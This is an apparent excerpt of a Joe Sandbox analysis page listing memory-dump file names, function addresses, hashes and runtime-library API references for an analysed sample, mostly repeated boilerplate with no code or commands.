Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction ID: 7379235fb4d0bb59310d8165db72fdc8e0b5d7e16a673df827a421d848f6e27f
Opcode Fuzzy Hash: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction Fuzzy Hash: 6C11387720018243E604A62DCAB45B7A395EAC53317ACC37FC0C16B7C9DA3AE845A608

Function 003FA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: 6163d201ed0f810be777b27cbf609eb62e664724070cbf55dbb469e9189867fc
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: FFE08CB292162CEBCB16DB98C9049AAF3ECEB49B10B65049AF605D3150C270DE00C7D1

Function 003C2EC0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 003C2F5F
__Mtx_unlock.LIBCPMT ref: 003C2FCC
__Cnd_broadcast.LIBCPMT ref: 003C2FE3
__Mtx_unlock.LIBCPMT ref: 003C30F5
__Mtx_unlock.LIBCPMT ref: 003C319B

Strings

=m%, xrefs: 003C2ED7, 003C3054, 003C3203

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID: =m%
API String ID: 32384418-854977245
Opcode ID: 6a919bd5d9850b5bae0bd2a80c0fcd7897ae24d39e2f769836e7c275a366d01c
Instruction ID: 7972a5cb893b33fdcae832bac72ebb20e8a8ad8dccfd88f7b81a353250554dcc
Opcode Fuzzy Hash: 6a919bd5d9850b5bae0bd2a80c0fcd7897ae24d39e2f769836e7c275a366d01c
Instruction Fuzzy Hash: 09A10272A112169FDB12DF64D844B9AB7A8FF14310F15812EE806DB341EB31EE04CBD1

Function 003FCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 003FCC66

Strings

v?, xrefs: 003FCBE1

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v?
API String ID: 3213747228-724723665
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: e99dcde794f46df5aa9774044aa3e359a7d50eae5cf93053a3c983db8381f768
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: A7B16732D6064D9FDB12CF28CA81BFEBBE5EF55340F15506AEA44EB241D6388D02CB60

Function 003DBB72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 003DBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 003DBBE4
_xtime_get.LIBCPMT ref: 003DBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 003DBC13

Strings

=m%, xrefs: 003DBB78

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID: =m%
API String ID: 531285432-854977245
Opcode ID: 117991a7c9607235c7e0a59e33deae9d54fcfdb7e2a68267d72a65cdb5050710
Instruction ID: 6fbd801c4e2e7f1f505279747df0f1bcdf151c5377282a55ba9ceca367bddbfd
Opcode Fuzzy Hash: 117991a7c9607235c7e0a59e33deae9d54fcfdb7e2a68267d72a65cdb5050710
Instruction Fuzzy Hash: 52213076A2010AAFDF02EFA4E8819FEB779EF08710F514066F501AB361DB709D01DB90

Function 00404C14 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00404DCA
__freea.LIBCMT ref: 00404DD3
__freea.LIBCMT ref: 00404DF6

Strings

=m%, xrefs: 00404C1B

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
